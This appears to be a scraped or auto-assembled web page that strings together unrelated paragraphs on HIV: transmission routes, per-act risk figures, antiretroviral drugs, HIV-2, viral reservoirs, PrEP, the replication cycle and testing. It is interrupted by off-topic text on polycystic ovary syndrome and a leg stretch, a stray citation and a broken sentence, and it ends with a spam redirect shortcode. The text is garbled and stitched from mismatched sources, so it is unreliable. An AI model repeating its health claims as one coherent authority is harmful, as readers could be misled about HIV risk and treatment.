The human immunodeficiency virus (HIV) is a lentivirus (a subgroup of retrovirus) that causes HIV infection and over time acquired immunodeficiency syndrome (AIDS). AIDS is a condition in humans in which progressive failure of the immune system allows life-threatening opportunistic infections and cancers to thrive. Without treatment, average survival time after infection with HIV is estimated to be 9 to 11 years, depending on the HIV subtype. In most cases, HIV is a sexually transmitted infection and occurs by contact with or transfer of blood, pre-ejaculate, semen, and vaginal fluids. Non-sexual transmission can occur from an infected mother to her infant through breast milk. An HIV-positive mother can transmit HIV to her baby both during pregnancy and childbirth due to exposure to her blood or vaginal fluid. Within these bodily fluids, HIV is present as both free virus particles and virus within infected immune cells.
Antiviral treatment options have primarily included combinations of two NRTIs, often referred to as “nucs,” and a third drug, typically being a boosted PI, a NNRTI, often called “non-nucs, and InSTIs such as RAL, EVG or dolutegravir (Tivicay, DTG). Many of these drugs are available in fixed-dose combinations as well as increasing numbers of drugs as single-tablet regimens.
Criminal transmission of HIV is the intentional or reckless infection of a person with the human immunodeficiency virus (HIV). Some countries or jurisdictions, including some areas of the United States, have laws that criminalize HIV transmission or exposure. Others may charge the accused under laws enacted before the HIV pandemic.
HIV-2 is divided into groups A through E, with subtypes A and B being the most relevant to human infection. HIV-2, which is found primarily in western Africa, can cause AIDS, but it does so more slowly than HIV-1. There is some evidence that HIV-2 may have arisen from a form of SIV that infects African green monkeys.
With regard to unprotected heterosexual contacts, estimates of the risk of HIV transmission per sexual act appear to be four to ten times higher in low-income countries than in high-income countries. In low-income countries, the risk of female-to-male transmission is estimated as 0.38% per act, and of male-to-female transmission as 0.30% per act; the equivalent estimates for high-income countries are 0.04% per act for female-to-male transmission, and 0.08% per act for male-to-female transmission. The risk of transmission from anal intercourse is especially high, estimated as 1.4–1.7% per act in both heterosexual and homosexual contacts. While the risk of transmission from oral sex is relatively low, it is still present. The risk from receiving oral sex has been described as “nearly nil”; however, a few cases have been reported. The per-act risk is estimated at 0–0.04% for receptive oral intercourse. In settings involving prostitution in low income countries, risk of female-to-male transmission has been estimated as 2.4% per act and male-to-female transmission as 0.05% per act.
McCune has worked for many years with Steven Deeks and the SCOPE Study. When I spoke with McCune in San Francisco, he said, “There is a yin and yang of the immune system. We are trying to recapitulate the orchestrated balance found in the fetus.” McCune is now working on interventions that would prevent inflammation against H.I.V. in the adult, hoping to partly mimic the balance found in utero. He’s also developing methods that would allow the immune system to better recognize, and destroy, the virus when it manifests itself. These studies are being carried out on nonhuman primates, and may lead to human trials within a year or two.
HIV-2 is much less pathogenic than HIV-1 and is restricted in its worldwide distribution to West Africa. The adoption of “accessory genes” by HIV-2 and its more promiscuous pattern of co-receptor usage (including CD4-independence) may assist the virus in its adaptation to avoid innate restriction factors present in host cells. Adaptation to use normal cellular machinery to enable transmission and productive infection has also aided the establishment of HIV-2 replication in humans. A survival strategy for any infectious agent is not to kill its host but ultimately become a commensal organism. Having achieved a low pathogenicity, over time, variants that are more successful at transmission will be selected.
It is extremely important that patients take all doses of their medications, otherwise the virus will rapidly become resistant to the medications. Therapy is always given with a combination of antiviral drugs.
The size of the proviral reservoir correlates to the steady-state viral load and is inversely correlated to the anti-HIV CD8+ T-cell responses. Aggressive early treatment of acute infection may lower the proviral load, but generally, treatment in newly infected (but postseroconversion) patients yields no long-term benefit.
Oral PrEP of HIV is the daily use of ARV drugs by HIV-negative people to block the acquisition of HIV. More than 10 randomized controlled studies have demonstrated the effectiveness of PrEP in reducing HIV transmission among a range of populations including serodiscordant heterosexual couples (where one partner is infected and the other is not), men who have sex with men, transgender women, high-risk heterosexual couples, and people who inject drugs.
Several years ago, they began looking at “blips,” the small, sudden jumps in viral load that sometimes occur in the blood of HAART patients. Physicians had been concerned that blips might be particles of virus that had become resistant to HAART and struck out on their own. The Silicianos believed otherwise: that the viral particles were released by latently infected cells that had become activated. They analyzed the blood of patients with blips every two to three days over three to four months, and their hypothesis proved correct: the virus had not become resistant to the drugs, but had been dormant in its reservoir within memory T cells. It could be intermittently released from the reservoir, even when the patient took antiretroviral drugs.
Stein-Leventhal syndrome; polycystic ovary syndrome multiple ovarian cyst formation, with associated menstrual abnormalities, infertility, enlarged ovaries, insulin resistance, obesity, acne, evidence of masculinization (e.g. hirsuitism) and increased tendency to type 2 diabetes mellitus; responds to treatment with oral contraceptive pill and/or metformin
Jump up ^ Schindler M, Münch J, Kutsch O, Li H, Santiago ML, Bibollet-Ruche F, Müller-Trutwin MC, Novembre FJ, Peeters M, Courgnaud V, Bailes E, Roques P, Sodora DL, Silvestri G, Sharp PM, Hahn BH, Kirchhoff F (2006). “Nef-mediated suppression of T cell activation was lost in a lentiviral lineage that gave rise to HIV-1”. Cell. 125 (6): 1055–67. doi:10.1016/j.cell.2006.04.033. PMID 16777597.
HIV infects T cells via high-affinity interaction between the virion envelope glycoprotein (gp120) and the CD4 molecule. The infection of T cells is assisted by the T-cell co-receptor called CXCR4 while HIV infects monocytes by interacting with CCR5 co-receptor (Figure 1). As illustrated in Figure 2, after gp120 binds to CD4 on the T cell (1). Nucleocapsids containing viral genome and enzymes enters the target cell (2). Following the release of viral genome and enzymes from the core protein, viral reverse transcriptase catalyses reverse transcription of ssRNA to form RNA-DNA hybrids (3). To yield HIV dsDNA the viral RNA template is partially degraded by ribonuclease H and the second DNA strand is synthesized (4). The viral dsDNA is translocated into the nucleus and integrated into the host genome by the viral integrase enzyme (5). Transcription factors transcribe the proviral DNA into genomic ssRNA (6), which is exported to cytoplasm (7). In the cytoplasm, host-cell ribosomes catalyse synthesis of viral precursor proteins (8). The viral precursor proteins are cleaved into viral proteins by viral proteases (9). HIV ssRNA and proteins assemble beneath the host-cell plasma membrane (10) forming virion buds from it (11). Maturation occurs either in the forming buds or after budding from the host cell (12). During maturation, HIV proteases cleave the poly-proteins into individual functional HIV proteins. The mature virions are able to infect another host cell.
Other important pathogens include cytomegalovirus, (which causes retinitis, pneumonitis, and colitis) and Pneumocystis jiroveci (formerly known as Pneumocystis carinii; the causative organism in Pneumocystis pneumonia). In immunocompetent hosts, these organisms are generally nonpathogenic, and asymptomatic infection is common (and in the case of cytomegalovirus infection, life-long).
And having herpes can also be a risk factor for contracting HIV. This is because genital herpes can cause ulcers that make it easier for HIV to enter the body during sex. And people who have HIV tend to have more severe herpes outbreaks more often because HIV weakens the immune system.
Iliotibial band and hamstrings Stand erect, with the affected leg behind the normal leg so that the knee of the affected leg rests on the posterior aspect of the non-affected knee; rotate the trunk (on transverse plane) away from the affected leg and attempt to touch the heel of the affected leg
Once HIV has entered the cell, it can replicate intracellularly and kill the cell in ways that are still not completely understood. In addition to killing some lymphocytes directly, the AIDS virus disrupts the functioning of the remaining immune system cells. Because the immune system cells are destroyed, a wide variety of infections and cancers can take advantage of a person’s weakened immune system (opportunistic infections/diseases).
When HIV grows (that is, by reproducing itself), it acquires the ability to change (mutate) its own structure. These mutations enable the virus to become resistant to previously effective drug therapy.
Clinics that do HIV tests keep your test results secret. Some clinics even perform HIV tests without ever taking your name (anonymous testing). You must go back to the clinic to get your results. A positive test means that you have HIV. A negative test means that no signs of HIV were found in your blood.
HIV is a sexually transmitted infection (STI). It can also be spread by contact with infected blood or from mother to child during pregnancy, childbirth or breast-feeding. Without medication, it may take years before HIV weakens your immune system to the point that you have AIDS.
During pregnancy or delivery or through breast-feeding. Infected mothers can pass the virus on to their babies. HIV-positive mothers who get treatment for the infection during pregnancy can significantly the risk to their babies.
UNAIDS also launched the ambitious 90-90-90 targets which aim for 90% of people living with HIV to be diagnosed, 90% of those diagnosed to be accessing antiretroviral treatment and 90% of those accessing treatment to achieve viral suppression by 2020.94 [redirect url=’http://penetratearticles.info/bump’ sec=’7′]